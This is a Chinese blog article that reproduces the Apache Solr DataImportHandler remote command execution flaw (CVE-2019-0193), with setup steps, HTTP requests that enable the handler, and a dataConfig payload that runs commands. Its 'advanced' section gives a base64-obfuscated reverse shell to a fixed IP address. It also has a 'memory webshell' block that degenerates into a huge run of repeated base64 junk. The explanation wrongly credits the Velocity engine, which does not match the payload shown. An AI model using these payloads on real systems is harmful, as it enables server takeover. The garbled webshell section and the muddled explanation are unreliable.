Apache Solr远程命令如何进行执行复现

发布时间:2021-11-11 16:55:05 作者:柒染
来源:亿速云 阅读:233
# Apache Solr远程命令执行漏洞复现分析

## 漏洞背景

Apache Solr是一个基于Lucene构建的开源企业级搜索平台,广泛应用于各类需要全文检索功能的系统中。2019年10月,Apache Solr被曝出存在远程命令执行漏洞(CVE-2019-0193),攻击者可通过构造特定请求在目标服务器上执行任意命令。

## 漏洞原理

该漏洞源于Solr的DataImportHandler功能模块。当开启`dataImport`功能时,攻击者可以通过DIH配置中的`dataConfig`参数注入恶意脚本,利用Solr的Velocity模板引擎实现远程代码执行。

关键点:
1. DataImportHandler默认不启用但可通过API开启
2. Velocity模板引擎允许执行Java代码
3. 未对用户输入的`dataConfig`参数做充分过滤

## 环境搭建

### 实验环境要求
- 操作系统:Linux/Windows
- Java环境:JDK 1.8+
- 漏洞版本:Apache Solr 8.1.1(其他受影响版本:5.0.0-8.2.0)

### 安装步骤
```bash
# 下载漏洞版本Solr
wget https://archive.apache.org/dist/lucene/solr/8.1.1/solr-8.1.1.tgz
tar -xzf solr-8.1.1.tgz
cd solr-8.1.1

# 启动Solr(默认端口8983)
bin/solr start -e cloud -noprompt

漏洞复现步骤

步骤1:创建测试核心

# 创建名为vuln的核心
bin/solr create_core -c vuln

步骤2:启用DataImportHandler

发送以下HTTP请求开启DIH功能:

POST /solr/vuln/config HTTP/1.1
Host: target:8983
Content-Type: application/json

{
  "add-requesthandler": {
    "name": "/dataimport",
    "class": "org.apache.solr.handler.dataimport.DataImportHandler",
    "defaults": {"config": null}
  }
}

步骤3:构造恶意请求

通过dataConfig参数注入Velocity模板代码:

POST /solr/vuln/dataimport?_=1625555555555 HTTP/1.1
Host: target:8983
Content-Type: application/x-www-form-urlencoded

command=full-import&verbose=false&clean=false&commit=true&debug=true&core=vuln&name=dataimport&dataConfig=
<dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[
    java.lang.Runtime.getRuntime().exec("touch /tmp/solr_rce_test");
  ]]></script>
  <document>
    <entity name="entity1"
            url="https://example.com"
            processor="XPathEntityProcessor"
            forEach="/RDF/item"
            transformer="script:">
    </entity>
  </document>
</dataConfig>

步骤4:验证执行结果

检查目标服务器是否创建了测试文件:

ls -la /tmp/solr_rce_test

漏洞利用进阶

反弹Shell示例

修改dataConfig中的命令为反弹Shell(需URL编码):

<![CDATA[
  java.lang.Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}");
]]>

内存马注入

通过Java反射机制注入内存Webshell: “`java <![CDATA[ java.lang.Class.forName(“javax.script.ScriptEngineManager”) .newInstance() .getEngineByName(“JavaScript”) .eval(“new java.lang.ProcessBuilder[‘(java.lang.String[])’]([‘/bin/bash’,‘-c’,‘echo PDw8PDw+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+

推荐阅读:
  1. apache网站漏洞修复的解决办法是什么
  2. 如何进行Apache Solr DataImportHandler远程代码执行漏洞CVE-2019-0193分析

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

apache solr

上一篇:RMAN如何恢复drop purge的表

下一篇:Django中的unittest应用是什么

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》